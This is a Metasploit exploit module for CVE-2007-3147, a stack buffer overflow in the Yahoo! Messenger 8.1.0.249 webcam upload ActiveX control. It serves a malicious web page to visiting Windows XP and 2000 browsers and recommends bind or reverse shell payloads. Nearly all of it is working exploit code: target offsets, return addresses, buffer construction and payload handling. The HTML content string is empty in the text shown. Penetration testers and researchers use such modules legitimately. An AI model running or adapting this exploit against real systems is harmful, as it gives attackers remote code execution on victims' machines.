##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = GoodRanking
include Msf::Exploit::Remote::HttpServer::HTML
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Yahoo! Messenger 8.1.0.249 ActiveX Control Buffer Overflow',
'Description' => %q{
This module exploits a stack buffer overflow in the Yahoo! Webcam Upload ActiveX
Control (ywcupl.dll) provided by Yahoo! Messenger version 8.1.0.249.
By sending an overly long string to the "Server()" method, and then calling
the "Send()" method, an attacker may be able to execute arbitrary code.
Using the payloads "windows/shell_bind_tcp" and "windows/shell_reverse_tcp"
yield for the best results.
},
'License' => MSF_LICENSE,
'Author' => [ 'MC' ],
'References' => [
[ 'CVE', '2007-3147' ],
[ 'OSVDB', '37082' ]
],
'DefaultOptions' => {
'EXITFUNC' => 'process',
},
'Payload' => {
'Space' => 800,
'BadChars' => "\x00\x09\x0a\x0d'\\",
'StackAdjustment' => -3500,
},
'Platform' => 'win',
'Targets' => [
[ 'Windows XP SP0/SP1 Pro English', { 'Offset' => 1032, 'Ret' => 0x71aa32ad } ],
[ 'Windows 2000 Pro English All', { 'Offset' => 1032, 'Ret' => 0x75022ac4 } ]
],
'DisclosureDate' => '2007-06-05',
'DefaultTarget' => 0,
'Notes' => {
'Reliability' => UNKNOWN_RELIABILITY,
'Stability' => UNKNOWN_STABILITY,
'SideEffects' => UNKNOWN_SIDE_EFFECTS
}
)
)
end
def on_request_uri(cli, request)
# Re-generate the payload
return if ((p = regenerate_payload(cli)) == nil)
# Randomize some things
vname = rand_text_alpha(rand(100) + 1)
strname = rand_text_alpha(rand(100) + 1)
# Set the exploit buffer
sploit = rand_text_alpha(target['Offset'] - p.encoded.length) + p.encoded
sploit << Rex::Arch::X86.jmp_short(6) + make_nops(2) + [target.ret].pack('V')
sploit << [0xe8, -775].pack('CV') + rand_text_alpha(500)
# Build out the message
content = %Q|
|
print_status("Sending #{self.name}")
# Transmit the response to the client
send_response_html(cli, content)
# Handle the payload
handler(cli)
end
end